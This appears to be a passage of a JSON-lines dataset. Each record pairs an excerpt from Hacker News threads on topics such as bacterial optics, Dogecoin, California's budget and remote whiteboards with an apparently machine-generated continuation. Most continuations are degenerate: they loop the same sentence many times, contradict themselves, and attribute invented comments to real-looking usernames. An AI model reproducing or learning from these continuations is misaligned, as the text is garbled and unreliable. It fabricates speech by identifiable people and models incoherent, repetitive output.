differently to IGWs, as there is no NAT they need a route applied across all subnets both public and private. IPv6 CIDR which allocates the VPCs /56 (and thus each subnet gets a /64, and each instance's interface thus gets a /128 which is bananas, but IPv6 is a second class citizen on AWS). Finally updating the subnets so automatic IPv6 address assignment happens.\n\n* VPC Gateways - these are broken into two types, the older type that support S3/DynamoDB and effectively allow traffic in a public/private subnet to bypass NAT. These enabled can have significant advantages to access and throughput. The"} +{"output_text": " but I don't see how this is a discovery.\n\n~~~\nmarshray\nI think the point is that the bacteria are using light to detect their\nsurroundings.\n\n~~~\nproc0\nI see, I guess I was just confused by the diagram.\n\n------\nmatt_wulfeck\n> _The bacteria are able to detect light and move towards it, but they are\n> unable to process the images they see._\n\nI", "input_text": " idea that everyone can be a creative genius. What is interesting\nabout his idea is that how universal craziness is amongst a small proportion\nof the population, which means it is has been around a very long time.\n\n~~~\nNasrudith\nReminds me of a differing but related idea. Society at large is already crazy\nbut nobody notices because it has been so normalized being rational is looked\nupon as crazy.\n\nThe promoter of doctors handwashing wound up instituionalized. And it isn't a\nin the past problem. I mean look at interviewing etiquette and ideals for one.\nThey distrust people who can't or won't put on a mask convincingly enough as\nuntrustworthy. Not even as \"unsuited for a job where it is relevant like sales\nor acting\". That is frankly barking mad to only trust those capable of faking.\n\n \nBacterial cells are small 'eyeballs', scientists discover - Marinlemaignan\nhttp://www.sciencealert.com/bacterial-cells-are-actually-the-world-s-smallest-eyeballs-scientists-discover-by-accident\n======\nmarshray\n* Scientists knew bacteria could sense the direction of light.\n\n* Scientists had been looking at bacteria under a microscope for 340 years.\n\n* Just the other day, someone noticed how bacteria focus light.\n\nIf you ever think there's nothing interesting left to discover in your field,\nread this again!\n\n------\nproc0\nHmm, that diagram is a little misleading. It's not like the bacteria are\nprocessing the images in any way, right?! They are merely detecting light and\nits direction so they can swim that way. Someone correct me if I'm wrong, I\nguess,"} +{"output_text": " you're a politician).\n\nI'm not sure I agree with the downmodders, but I think it's worth pointing out\nthat the government has a responsibility to encourage the best and brightest\nto pursue science and engineering.\n\n~~~\nxiaoma\nI'm not sure I agree with the downmodders either.\n\nI think the downmodders are saying that the government shouldn't encourage\npeople to pursue science and engineering because it's not a good use of\ngovernment", "input_text": " make science and engineering a desirable career path\nfor young americans, but simply \"making it cool\" isn't the way to go - and\ncould (as the article points out) actually be destructive in that it would\ncause harm to students who responded to the pr campaign only to find long\ntraining times and poor career prospects relative to their friends who did\nlaw, dentistry, medicine, mba, etc.\n\n~~~\nbaguasquirrel\nThat's funny... Americans don't have an economically rational aversion to\nbecoming movie stars in much the same way.\n\n~~~\ngeebee\nyeah, that is an amusing observation. of course, President Obama and various\ntalking heads don't fret about the shortage of Americans in film school.\n\nThe serious question is whether we should launch a PR campaign to encourage\nyoung people to make decisions that may lead (at least according to RAND) to\nlong training times with poor pay and career prospects _relative_ to other\npaths typically available to the \"best and brightest\".\n\n~~~\nxiaoma\nIf the issue is public policy, then the goal should be public good, not\nindividual good.\n\nIt's very possible that the best and brightest could live in greater comfort\nas criminals than scientists, but even if that were the case, any rational\ngovernment would encourage them to be scientists since that would be better\nfor the country.\n\nEdit: Seriously? Care to explain your reasoning, downmodders? Why would a\ngovernment encourage decisions that are destructive to society?\n\n~~~\ngeebee\nThat's not at all a bad point. There are some activities that economists view\naS rent collecting (or even wealth destroying) that are lucrative for the\nindividual. Scientists and engineers are generally seen as the opposite of\nthis (unless"} +{"output_text": "me.com/](http://www.dogesnearme.com/)\n\n[2]\n[http://www.reddit.com/r/dogemarket/](http://www.reddit.com/r/dogemarket/)\n\n[3] [https://vaultofsatoshi.com/](https://vaultofsatoshi.com/)\n\n~~~\nplg\nI'm not looking to turn it into Dogecoin, I", "input_text": "iate your every desire.\n\n~~~\nrimantas\n\n > Someday large segments of the population are going to\n > gladly submit some control of their mind to 3rd parties\n > who know which programs and products are good for you, and \n > which you are unauthorized to use.\n \n\nThis is already in place and has nothing to do with technology. Just observe\ncarefully all the stuff people get offended about, or call racist, or call\nsexist\u2014usually there is little to no thinking involved, just conditioned\nresponse, sometimes reaching absurdity (like insisting that black person from\nUK should be called african-american). My impression is that in these cases\npeople don't really have moral compass or deep understanding why something is\nright and something is wrong\u2014this all was \"outsourced\" somewhere and all left\nare just learned reponses to stimuli, with extremely crude pattern\nrecognition. And yes, to some degree this applies to those inceasingly\nspeaking about walled-gardens.\n\n------\nplg\nso here in my hand I have a $100 bill. How do I turn it into Dogecoin??\n\n~~~\nzedpm\nWell, if you literally mean cash in hand, you're going to have to do a bit of\nwork. Much like with other crypto coins, you can sometimes find a local person\nwho will do an in-person exchange[1]. Otherwise, you can use something like\nthe dogemarket subreddit[2] to do an exchange using Paypal, Google Wallet,\netc. Another option is to link a bank account to a service like Vault of\nSatoshi[3] and make a USD/Doge trade there.\n\n[1] [http://www.dogesnear"} +{"output_text": " know if this is a common phenomenon? I've seen it in a few dogs\nand it always makes me wonder if it's a sign of some kind of mental illness.\n\n~~~\njaclaz\nI've seen it in a few dogs, too, but I don't think it's a sign of mental\nillness.\n\nI think it's a sign of a dog that is very attached to its owner, and that\ndoesn't want to be separated from him.", "input_text": " at remembering\npeople. He freaks out when he sees his favourite people, even after years\napart.\n\n~~~\nfinestkludge\nDogs' ability to cling to long term memories like this is always amazing to\nme.\n\n------\nsmallnamespace\nProbably inspired the ending to a classic, sappy Futurama episode:\n[https://en.wikipedia.org/wiki/Jurassic_Bark](https://en.wikipedia.org/wiki/Jurassic_Bark)\n\n~~~\nfourier_mode\n[https://en.wikipedia.org/wiki/Hachik%C5%8D#In_popular_cultur...](https://en.wikipedia.org/wiki/Hachik%C5%8D#In_popular_culture)\n\n------\nmilankragujevic\nInteresting coincidence, just yesterday I saw a video on Serbian TV about a\nsimilar case of a dog waiting for his owner, who had gone on a bus (as was the\nroutine) and died. The dog is still waiting for him, being fed and taken care\nof by nearby people, but refusing to be moved from that place.\n\nYou can see the video I captured here: [https://milankragujevic.com/uploads-\ncdn/310724819332445.mp4](https://milankragujevic.com/uploads-\ncdn/310724819332445.mp4)\n\n------\nvariaga\nSee also Greyfriars Bobby\n[https://en.m.wikipedia.org/wiki/Greyfriars_Bobby](https://en.m.wikipedia.org/wiki/Greyfriars_Bobby)\n\n------\nmlang23\nDoes anyone"} +{"output_text": " me no reason to believe that this will continue.\n\n~~~\nvillage-idiot\nThe state of California has given you no reason to believe that this will\ncontinue because the state of California has given you no reason to believe\nthat this will continue.\n\n~~~\ntathougies\nI'm not sure what you mean. I'm not a Californian, but I'm not sure why you\nthink I should be.\n\n~~~\nvillage-id", "input_text": " a\n> coal plant and install a brand spanking new nuclear or solar plant\n\nWould you feel the same way if you went from making $100k /year to $50k/year\ndoing this? That's part of the problem. You have to be okay taking a\nsubstantial paycut, or losing your job entirely, when you decomm the previous\nsystem. Not that same as doing so when you're a software engineer.\n\nSingle income in your family and having to start out from scratch? Of course\npeople are going to cling to their chance at a middle class life by their\nfingernails in a fossil industry job.\n\n~~~\nvillage-idiot\nThat's fair.\n\n------\ntrue_tuna\nWe are going to need some more big batteries. Don\u2019t we pay our neighbors to\ntake our excess during peak times?\n\n~~~\ndublin\nGet a clue and do the math. (Seriously, this is a one-to-two hour google for\ninfo and apply third-grade arithmetic back-of-an-envelope project.) Batteries\nare NOT the answer - the quantity of batteries required is astronomically\nbeyond the world's battery production capacity, even in Musk's most fevered\ndreams. Seriously - the mining impact of REALLY trying to build enough\nbatteries to stabilize an area the size of CA would increase mining pollution\nworldwide by an order of magnitude or more...\n\n~~~\nsctb\nCould you please stop being so thorny? It doesn't make your point any clearer,\nit just makes the discussion worse.\n\n------\ntathougies\nCurrently, I buy all my electricity from renewables. The price I pay per kwh\nis lower than conventional generation. However, the state of California has\ngiven"} +{"output_text": " that Bluebird is better.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\nThe author says that the callback style is \"the most common way to handle\nerrors in Node.js\".\n\nBut the callback style is not the only way to handle errors.\n\nThe author says that the callback style is \"the most common way to handle\nerrors in Node.js\".\n\nBut the callback style is not the only way to", "input_text": " from a function\n> would be a straightforward way of handling errors. Not so with Node.\n> Instead, you get to pass your errors around in your callbacks (or promises)\n> - thats right, no throwing of exceptions.\n\nPromises let you throw errors normally. They will propagate up the call stack\nin a similar manner. With bluebird, you will also get full stack traces in\ndevelopment mode and the performance penalty for that isn't too bad.\n\n> The last thing that I found frustrating was the lack of standards. Everyone\n> seems to have their own idea of how the above points should be handled.\n> Callbacks? Promises? Error handling? Build scripts?\n\nPromises are in ES6 (i don't think it gets more standard than that) and have\nwell defined semantics, including error handling, shared between libraries:\n[https://promisesaplus.com/](https://promisesaplus.com/)\n\nI know that Bluebird's promisifyAll might seem like a bit of a hack, but just\ntry it out. It works surprisingly well, and its really painstaikingly tuned\nfor near-zero performance loss. It will probably be both less painful to do\nand more performant than any manual attempt to wrap a callback based API into\na promise one.\n\n~~~\npjungwir\nI gave a talk about handling errors in Node a few years ago:\n\n[https://github.com/pjungwir/node-errors-\ntalk](https://github.com/pjungwir/node-errors-talk)\n\nAt the time the solution was \"use domains\", but I think domains are deprecated\nnow. It was painful enough that I have stuck with Rails since then. I'm glad\nto hear"} +{"output_text": "ally is a place where people are successful.\n\n~~~\nTazeTSchnitzel\nI'm not saying it's a bad thing, I'm just saying that it's sad that they're\nsuccessful.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n~~~\nTazeTSchnitzel\nIt's a parody of the Samwer brothers' business model.\n\n------\njoshu\nI'm not", "input_text": "\nComparing to a general purpose CPU, I remember from the olden days that a 486\nDX4/100 was just BARELY able to decode stereo MP3's if you used a well\noptimized MS-DOS playback program. In a multitasking environment like Windows\n-- forget about it!\n\n~~~\nmadengr\nWindows back then wan\u2019t multitasking. OS/2 on the other hand; I could download\nat 9600 baud and play Wolfenstein at the same time.\n\n~~~\neinr\nI ran Windows 95 on my 486.\n\n------\ndrosan\n403 Forbidden\n\nYou don't have permission to access /wp/a-sound-card-before-its-time/ on this\nserver.\n\n:c\n\n------\nwalrus01\nthe ps/2 models 25 and 30 were sold in large numbers to educational\ninstitutions, so my guess is that it was paired with some sort of weird\neducation-related recording and playback software.\n\n~~~\nteddyh\nIt can\u2019t have been made for that, since the IBM PS/2 series of computers was\nnot released until 1987.\n\n \n\nZ Kombinator - hassy\nhttp://zkombinator.com\n\n======\nTazeTSchnitzel\nThe sad thing is that the Samwer brothers are real people who actually do\nthis, and they're quite successful at it too:\n[http://www.businessweek.com/articles/2012-02-29/the-\ngermany-...](http://www.businessweek.com/articles/2012-02-29/the-germany-\nwebsite-copy-machine)\n\n~~~\nczzarr\nwhy is that sad? Silicon V"} +{"output_text": " developer who had a great track record\nof building successful businesses. He was a great communicator, had a great\nwork ethic, and was a great team player.\n\nWe hired him because he was a great fit for our culture and he was a great\ncandidate.\n\n~~~\njoshfraser\nI'm not saying that you should hire people without degrees, but I think it's\nimportant to understand that there are many different types of people who can\nbe successful", "input_text": " implement it with someone breathing down my neck.\n\nI interviewed with Nvidia a week later and almost had a similar issue but in\nthat case the interviewer sensed my reaction and managed to talk me through\nthings. I managed to recover and now I'm scheduled for an on-site.\n\n~~~\nsuperqd\nGood luck\n\n------\nnalipp\nPassion can't be measured with credentials so why do companies keep screening\nfor them?\n\nI spent the last three years studying as a hobby and as a full time student\nlearning multiple frameworks, front-end and backend, and additional\ntechnologies that made me curious like Vim and I can't even land a single\ntechnical interview.\n\nAfter coming to the Bay Area, I was thinking my github portfolio and\ncommunication and networking skills would at least get me in the door to prove\nmyself.\n\nOnce coming I found out I would need to learn CS topics to get past the\ntechnical interview and that React would be a good entry point for a first\njob. So I left and studied another 6 months before returning. The second time\nI got a part time job as a coding instructor at a bootcamp because I have a\nhistory in teaching, but still struggle to get in the door for engineering\ninterviews.\n\nNobody takes me seriously without credentials, I always thought that in a\ntechnical interview people would be able to figure out where you stand and not\nneed credentials. The problem is companies get flooded with resumes so they\nbuild automated software to screen the best candidates but passion can't be\nscreened.\n\n------\njoshfraser\nAt Origin, we've hired multiple people without computer science degrees and\nwhose resumes you would never pick out of a stack. One of our key players, for\nexample, was a commercial real estate"} +{"output_text": "I know you're a single mom, but\nwould you be willing to live in a neighborhood with a lot of crime?\") is a\nred flag.\n\n\\- If you're offered a job and you're asked to sign a non-compete agreement\nthat's too broad, or if you're asked to sign a non-compete agreement that\ndoesn't cover your current job, that's a red flag.\n\n\\- If you're offered a job and you're asked", "input_text": " open-plan offices.\n\n\\- Hyper focus on your salary expectations early in the process without\nreciprocal willingness to share the budgeted salary range. This extends to\nhyper focus on relocation costs or other compensation items too.\n\n\\- Jobs that don't provide relocation. Sometimes there are good reasons, but\nmany times it's because of cliquish culture and/or extreme cheapness.\n\n\\- Paternalism: does the management act like your vacation time, your pay,\nother forms of compensation, or other perks are \"generous gifts\" doled out by\nthe company? Do they act like the company \"is a family\" and have weird\nworkplace cultural norms about key management \"principles\"?\n\n\\- Are all of the recent Glassdoor reviews 5-stars with unrealistically\nglowing reviews that sound like they were written by a PR firm, and all of the\nbad reviews are buried at the end and sound like what an actual human would\nwrite?\n\n\\- Any unreasonable demands for access to private data about you, such as\nstatements about past income or addresses, test results for things like IQ or\npersonality tests. I agree with other comments that even asking for test\nresults is a bad sign, but even if the test results were legitimately useful\nfor hiring (they aren't), there's still the issue of distrusting some random\ncompany with private data about you, or being skeptical of their network\nsecurity.\n\n\\- If anyone tries to talk you out of your financial requirements with lame\nexcuses, it's a red flag. For example, when I've countered lowball offers\nbefore, I've had HR reps debate with me exactly which apartment buildings and\nlocations nearby I could live in at the wage they countered with. Anybody\nprying into your private life like that (\""} +{"output_text": " state's\neconomy.\n\nHowever, the state's budget is in a precarious position. The state's\nunemployment rate is at a record low, but the state's budget is in a\nprecarious position.\n\nThe state's budget is in a precarious position. The state's budget is in a\nprecarious position. The state's budget is in a precarious position. The\nstate's budget is in a precarious position. The state's budget is", "input_text": " to build an event board that is perfectly\ntailored to the needs of your group, foster a little community around your\nevent, and streamline your communication all in one place.\n\nAs always, we're here for some real feedback and critique, so if you're the\ntype of person who typically wrangles large groups of people, how can we solve\nyour pain points even further?\n\nHappy Friday!\n\n------\nyodon\nHomepage looks absolutely beautiful, but I suspect it would convert better if\nyou had more visual emphasis on getting people to click on your call to action\n(which presumably is hosting an event).\n\n~~~\nhamslamwich\nThanks! Always good to remember the CTAs :) We'll take a fresh look at the\npage with that in mind.\n\n------\nskinnymuch\nThe product looks great. Congrats with 2.0.\n\nHowever, I used Jitsi Meet on a daily basis for a year. I was a frequent\nperson to a Jitsi Meet room recently as well.\n\nIt was and is pretty bad relative to others. There\u2019s almost always an issue\nonce you get to double digits. Even in smaller numbers, it is buggier far more\nthan Whereby or Zoom.\n\nIts cpu and Bandwidth usage is too high too compared to better video options.\n\nI avoid Jitsi as much as possible.\n\n \n\nIs California's Budget Endangering Silicon Valley? - loganfrederick\nhttp://loganfrederick.com/blog/is-californias-budget-endangering-silicon-valley/\n\n======\ndigikata\nAs an investment, educating, retaining, and attracting talented students in\nCalifornia would seem like a fundamentally positive way to raise the"} +{"output_text": " to no cost.\n\n~~~\niso1631\nI'm not sure how much it would cost to do that.\n\n------\njedberg\nI use a whiteboard.\n\nI use a whiteboard because I can draw on it.\n\nI use a whiteboard because I can draw on it.\n\nI use a whiteboard because I can draw on it.\n\nI use a whiteboard because I can draw on it.\n\nI use a", "input_text": ".\n\n------\ndavidwitt415\nI've been using MURAL, Miro and Figma. MURAL and Miro are pretty close, and\neach has it's strengths, but I prefer MURAL. For a team that doesn't need the\nbells and whistles, Figma is a great choice.\n\n------\nAlexITC\nWhile I don't use it daily, I built\n[https://collabuml.com](https://collabuml.com) (launched on HN a month ago:\n[https://news.ycombinator.com/item?id=22955971](https://news.ycombinator.com/item?id=22955971))\nwhich has been helpful for me, I made it this way as lots of time you mostly\ncare about writing system diagrams instead of freestyle whiteboard.\n\n------\nprando\nOne of the main criteria for a whiteboard is to use it with a stylus - so I\npurchased [https://air.bar/](https://air.bar/) to turn my non-touch-screen\nlaptop into a touch-screen-one. However, its latency is not low enough to\nprovide a smooth experience. Does anyone know of a good digital pen that plays\nwell with Win 10. I suspect our company policies won't allow me to share\nscreen via an iPad.\n\n------\nNullError\nMiro! Its a company changing tool!\n\n------\niso1631\nI use a real whiteboard on my wall in shot of the camera\n\n~~~\npmiller2\nI'm surprised I had to scroll down so far to see this. You could distribute\nindividual whiteboards to every engineer, and even have a dedicated\nwebcam/tripod setup, for next"} +{"output_text": " this as a sign of\nthe economy being in a bubble.\n\n~~~\njandrese\nI think the problem is that the people who are buying homes are not the\npeople who are buying homes in the past.\n\nThe people who are buying homes are the people who are buying homes in the\nfuture.\n\n~~~\nkin\nI agree. I think the problem is that the people who are buying homes are not\nthe people who are buying homes in the past.", "input_text": "1Y)\nAlso checkout the dollar index:\n[http://www.marketwatch.com/investing/index/dxy](http://www.marketwatch.com/investing/index/dxy)\n\n~~~\nrmrm\nMy point is that other currencies are not static. All the world economies are\njockeying to have relatively weak currencies, in order to attempt to spur\ninflation and ease their debt loads. It's all relative. The US is not in some\nparticularly bad spot, certainly Japan and Europe finance ministers would\ntrade places with ours any day of the week. We have a remarkably strong\neconomy (and everything else, really) in comparison (which is all that\nmatters).\n\n------\nkin\nThe anecdotal example of Brooklyn is a bad example IMO. Everyone knows how\ngentrified Brooklyn has become. As a result, real estate prices for those\nareas are going way up. For those in SF, the same is happening to Oakland.\n\nAlso, having just got a mortgage, I can anecdotally counter that despite\nQuicken's claims with Rocket, getting a mortgage, at least a \"good\" mortgage\nloan is still incredibly difficult. Thanks to 2008, 2016 loans require a shit\nton of disclosures. So, if there's a bad loan lying around, you best bet it's\ngoing to be hard to disguise it.\n\nAs for the < 20% down? That's not a sign of a bad economy per se. I'd factor\nthat more to a generation of poor savers. NPR recently had a whole segment on\nhow little the current generation of millennials saves.\n\nHome prices increasing is due to the fact that it's a seller's market. But,\nrent prices are increasing as well. IMO you could look at"} +{"output_text": ".\n\n~~~\njoezydeco\nI think it's more that people are spending more time on their phones than\nthey used to.\n\n~~~\nbaconizer\nI agree, but I think it's more than that. I think it's a combination of\ntechnology and people.\n\n------\njoezydeco\nI'm not sure I buy the \"productivity\" argument.\n\nI'm not sure I buy the \"productivity\" argument", "input_text": "\nalternative models that capture the intuitive gain from things like this? Or\nmaybe such gains are rare and negligible?\n\n~~~\nYokoZar\nWhat happens in this situation is the people who used to make the obsolete\nthings are now out of a job, and eventually get employment somewhere else.\nWhat they do _then_ counts for productivity. If they earn what they did\nbefore, you'd measure no change in productivity -- though we'd all be better\noff.\n\nThe studies in the article assert that the size of the productivity shortfall\nis so large that even if we place pretty generous values on all this free\nstuff we have now it doesn't fully cover the gap.\n\n------\ncalinet6\nComplex systems never got any simpler, only more complex.\n\nCertain circles are beginning to realize that the main issues are human and\nnot technological (Lean, Deming, Kaizen, Design thinking, etc).\n\nSo there's your answer. Increasing complexity of work, with unchanged or at\nbest slowly increased ability to cope with it.\n\nFor a great overview and insight into this shift (and how to tackle it), check\nout Gen Stanley McChrystal's book, \"Team of Teams.\"\n\n~~~\ndilemma\nStandard Work is an incredibly interesting concept that I've just started\nlooking into for organizational design.\n\n~~~\ncalinet6\nOne of many concepts needed together to create a high-functioning\norganization.\n\n------\nbaconizer\n[off-topic] aren't mobile phones and tablets just sucking productivity out of\nmankind, if not slowing it down? was watching old movies from 90s with my lady\nand we both noticed how interactive ppl were in the background, on streets or\nin cafe, nowadays every one just dives into their mobile phones"} +{"output_text": "iset.com/programming-language-implementation-part-0-tools-and-setup/\n\n======\nmarcofiset\nI'm writing a series of articles about the process of implementing a programming\nlanguage.\n\nThe first article is about the tools and setup.\n\nThe second article is about the implementation of the language itself.\n\nThe third article is about the implementation of the compiler.\n\nThe fourth article is about the implementation of the interpreter.\n\n", "input_text": "~~~\nstormbrew\nWell, for a certain definition of rational. I think the operative definition\nin this subject amounts to roughly \"not random,\" though. People (or nowadays\ntrading bots) have _reasons_, they just aren't necessarily _good reasons_.\n\n~~~\nlutusp\n> Well, for a certain definition of rational.\n\nI wasn't going too far afield -- by \"rational\" I meant on the basis of P/E\nratios and other conventional sources of information, rather than mass\npsychology or hunches.\n\nAs to trading bots, depending on how much capital they move, they can twist a\nsmall market until it cries uncle, and in a matter of minutes in the worst\ncases. That's rational by some definitions. :)\n\n------\n001sky\n_The world\u2019s largest social network has been on an acquisition tear this year,\neffectively moving to transform itself into a tech portfolio company._\n\n>Interesting take on things...\n\n------\nghx\nThe headline should read, \"Facebook earnings gain as they insert 82% more\nads\".\n\nThere's got to be a point where it just gets too saturated for users, just\nlike Myspace did. Maybe not this time?\n\n~~~\nencoderer\nNope. Try again. They're making higher CPCs and CPMs.\n\n~~~\nZenPro\nTo be fair, those figures have been disputed and also called outright\nfraudulent by a number of parties.\n\nAn advertiser recently had an $800,000 invoice struck off because he\nthreatened to sue Facebook. They decided just to let it slide instead of have\nthe public debate.\n\n \n\nProgramming Language Implementation \u2013 Part 0 \u2013 Tools and Setup - marcofiset\nhttp://marcof"} +{"output_text": "soon.\n\nWe're looking for a senior engineer to join our team. We're looking for\nsomeone who is comfortable with Ruby, Rails, and React+Redux.\n\n[https://eatpakd.com/jobs/senior-software-\nengineer/](https://eatpakd.com/jobs/senior-software-engineer/)\n\n------\njason_slack\nSlack | San Francisco, CA | Full-time |", "input_text": " Buffalo, NY | ONSITE\n[http://www.dacardworld.com](http://www.dacardworld.com)\n\nDave and Adam's Card World was founded in 1991 when two friends opened a small\nsports card store in Buffalo, NY. Dave and Adam's passion for trading cards\nhas helped the company grow to be a leader in the industry. We have two retail\nstores in Western New York; one of which is the largest store of it's kind in\nthe country. Our two offices and warehouses are located in Tonawanda, NY,\nwhich services our e-commerce operations. Shipping hundreds of orders daily,\nwe reach all of North America as well as an extensive international customer\nbase.\n\nWe need a Full-Stack Software Developer with e-commerce experience.\nSpecialties should include PHP, Python, HTML, Javascript, etc.. Core\nresponsibilities would include development on our primary e-commerce platform.\n\n[https://dave-and-adams.workable.com/jobs/416448](https://dave-and-\nadams.workable.com/jobs/416448)\n\n------\nev9\nEatPakd.com | Senior Software Engineer | Chicago | Onsite | Full-time\n\nEatPakd delivers ready-to-go lunches directly to your door. EatPakd lunches\nare balanced and wholesome, and completely customizable so you can create the\nperfect lunch. We're starting with kids, but will one day take over the world.\nWe have a cozy office right atop our working kitchen.\n\nOur platform is Ruby on Rails, React+Redux, Postgres on Heroku. At the moment\nwe are focused on our consumer ordering webapp, and will move over to mobile\n"} +{"output_text": " and cost.\n\n~~~\njpm_sd\nThe panels are mono crystalline silicon. They're not space-grade, but they're\nnot meant for space either. They're meant for the ground.\n\n------\njpm_sd\nI'm not sure why this article is on the front page. It's a puff piece on\nsolar, and it's not even a particularly good puff piece.\n\n~~~\njpm_sd\nI'm not sure why", "input_text": " electro capacitive switches in the\nstyle of Topre, e.g. [https://www.nizkeyboard.com/product/plum-84-ec-\nmechanical-ke...](https://www.nizkeyboard.com/product/plum-84-ec-mechanical-\nkeyboard-rgb-or-non-rgb/)\n\n------\ntuananh\nanyone participated in their 60% groupbuy? it's been 4 years but nothing is\nconcrete yet :(\n\n[https://geekhack.org/index.php?topic=65528.0](https://geekhack.org/index.php?topic=65528.0)\n[http://matias.ca/60/pc/](http://matias.ca/60/pc/)\n\n \nSolar Industry's Future Lies in Lightweight Technology - vaultcool\nhttps://www.scientificamerican.com/article/solar-industrys-future-lies-in-lightweight-technology/\n======\njpm_sd\nOdd choice to feature Project Loon in the banner image. I designed the solar\narray for Loon, it's built from plain old mono crystalline silicon cells.\nSure, they're high efficiency cells, in a lightweight plastic stack up (no\nglass), but there's no exotic thin film cell technology in there. The options\n(so far) are either too expensive, or too inefficient.\n\n~~~\nyazr\nAre these the space-grade multi-junction panels? Are the Loon panels size-\nconstrained or cost-constrained?\n\nThe article itself is odd - most PV will go to utility and commercial scale.\nEven on rooftop, aesthetics are possibly down the list after durability,\nreliability, efficiency"} +{"output_text": "\n\n~~~\njacquesm\nThat's not what you do?\n\n~~~\nggruschow\nI'm a developer. I don't store my files on S3.\n\n~~~\njacquesm\nThat's a shame, I was hoping you'd be able to tell me what you do store on\nS3.\n\n~~~\nggruschow\nI store my files on S3, but I don't use S3 for static files", "input_text": " very quantifiable message that wasn't being told. We\nhave tried to be as fair and transparent as we could be in the analysis and we\ndon't necessarily want you to take our word for it. We encourage any and all\nto look at the cost and performance for yourself. If we've made a mistake, let\nus know so we can fix it.\n\nIf it would be of use, don't hesitate to e-mail me directly at\nerik[dot]carlin[at]rackspace.com.\n\nRegards, Erik Carlin\n\n~~~\ntimf\nIt's unfortunate that HN has gotten so busy lately that your reply won't be\nseen by more people. Thankyou for taking the time here to clarify the\nargument.\n\n------\ncperciva\nMosso thinks that Mosso is better than the competition? I'm shocked.\n\n~~~\ndabeeeenster\nThe data itself seems pretty objective...\n\n~~~\njacquesm\nthat may be, but the wording suggests serious bias: \"cloud files saves you\" is\nnot the kind of language you'd expect in an objective review.\n\n------\njacquesm\nIs there a more objective comparison of these services somewhere?\n\nWell, at least they didn't do the usual, pay someone else to come up with an\n'impartial review'.\n\n~~~\nmoe\nThey both have nice pricing calculators:\n\n\n\n\n\nJust tack in your values and see for yourself.\n\n------\nggruschow\nImpressive latency results for static files.\n\nToo bad that's not what I do."} +{"output_text": " learn\nin school and apply it to the real world.\n\n------\njoshu\nI'm not sure what you mean by \"motivate yourself to study more\".\n\nIf you're not motivated to study, you're not going to study.\n\nIf you're not motivated to work, you're not going to work.\n\nIf you're not motivated to do anything, you're not going to do anything.\n\n------\njoshu\nI'm", "input_text": ".\n\nNot sure where you're from, but in Canada you don't need all A's to get into a\nhalf-decent university. However, if you want to get into a top university,\nyou'll need good grades and more (e.g. extracurricular activities).\n\nI'm sure any university you will get into will be just fine. During your time\nat uni, you get out what you put in. Don't stress about getting into your\ndream university. You'll do fine wherever as long you like what you do and you\nget involved with stuff happening around you. Grades are just a means to an\nend, don't focus on them too much.\n\n------\nbetadreamer\nUniversity and school is very different. I was a B~C (even D & F) student in\nhigh school because I hated what I was taught in school. I enjoy Math but\nsomehow was not motivated as well.\n\nI went to the _okay_ university afterwards but things started to change.\nEverything what I learn there somehow made sense and was not boring anymore.\nIt might be just the fact that university have better teacher but it was more\nmotivating. Somehow I turned my self from B~C student to a A dean list\nstudent. I went to CMU for grad school after graduation.\n\nThe point i want to make is that university is different from school and you\ncan always climb up the ladder as long as you try hard at some point.\n\n------\nfit2rule\nGet a job. Plain and simple, this the best way to motivate yourself to study\nmore.\n\nFact is though, you don't need to study more. You should work a lot more.\nWorking is the only really effective, motivating, way to take what you"} +{"output_text": ".\n\n~~~\nbarry-cotter\n> I consider myself a professional educator, so I will treat this statement as\n> if you were aiming it directly at me.\n\nI'm not aiming it at you, I'm aiming it at the people who are trying to\nimplement this in the real world.\n\n> I'm not yet 10 years into my career, but I daresay I have a solid\n> understanding of what facilitates effective learning among my", "input_text": " drastic innovation. As in a streamlined system built for our\nage. It needs to be agile.\n\nWe do education like we build products but we all know that after a four year\ndegree more often than not we don't have 'product/ market fit'. We should\ntrain, test and iterate in small time frames.\n\n------\nmathteacher1729\n> how would you go about implementing this in a real life class format?\n\nAllow experienced professional educators to shape education policy.\n\n~~~\nbarry-cotter\nIndeed, letting teachers decide what to do on the basis of what's rasiest and\nmost convenient for them is bound to have a 1:1 correspondence with the best\nway for people to learn.\n\n~~~\nmathteacher1729\n> Indeed, letting teachers decide what to do on the basis of what's rasiest\n> and most convenient for them is bound to have a 1:1 correspondence with the\n> best way for people to learn.\n\nI consider myself a professional educator, so I will treat this statement as\nif you were aiming it directly at me.\n\nI'm not yet 10 years into my career, but I daresay I have a solid\nunderstanding of what facilitates effective learning among my students. I can\nquickly, accurately, and individually asses and guide my students on a path\nwhich best suits their needs.\n\nThere is nothing a standardized test in my subject area can tell me about my\nclass that I don't already know, and there is much that a standardized test\nwill not reveal about the individuals within my class that I and my colleagues\nalready know.\n\nI would like to see my students freed from wasting their valuable time\npreparing for absurd tests which do not serve them in any useful or meaningful\nfashion"} +{"output_text": " been a part of the media, it's not a new concept.\n\n~~~\nwu-ikkyu\n>The term \"fourth estate\" dates back almost to the time of the French\nRevolution\n\nThe term \"fourth estate\" is a modern invention.\n\n~~~\nalistproducer2\nI'm not sure what you mean by that. The term \"fourth estate\" is a modern\ninvention.\n\n~~~\nwu-ikkyu\nThe", "input_text": " and then attacked that made-\nup wrongthink?\n\n~~~\nbandrami\nIt's actually about ethics in game journalism?\n\n------\nalistproducer2\nI'm going to join in on the chorus of people here who are voicing their\ndispleasure with the way the modern media works. I'm a left winger but I feel\nmuch the same way about the media and the chattering class as the most noxious\nparts f the right wing. It's not so much that the media is biased in one\ndirection or the other; it's that MSM has mostly abrogated it's responsibility\nto inform the public. the media, and the class of people that create its\ncontent, see themselves as influencers more than reporters.\n\nAs an example, take the performance (and I do mean that literally) of Jim\nAcosta when he made a speech disguised as a question to Stephen Miller about\nthe poem on the Statue of Liberty. Who told Mr. Acosta that what the public\nwants from its journalists are speeches instead of substantive questions?\n\nIt's often said that politicians want to be movies stars. these days it seems\nthat the journalists want to be politicians and it's become a problem that\nAmericans all over the political spectrum are beginning to see.\n\n~~~\nwu-ikkyu\n>MSM has mostly abrogated it's responsibility to inform the public.\n\nThat's a myth.\n\nThe only real responsibility they have is to maximize profits for their\nshareholders.\n\n~~~\nalistproducer2\nI dispute that. Most major newspapers in the states have existed long before\nit was common for media outlets to be publicly traded companies. The term\n\"fourth estate\" dates back almost to the time of the French Revolution so\nwhile it's always"} +{"output_text": " way.\n\n------\njoshu\nI think the key is to find a way to make money doing what you love.\n\n------\njoshu\nI think the key is to find a way to make money doing what you love.\n\n------\njoshu\nI think the key is to find a way to make money doing 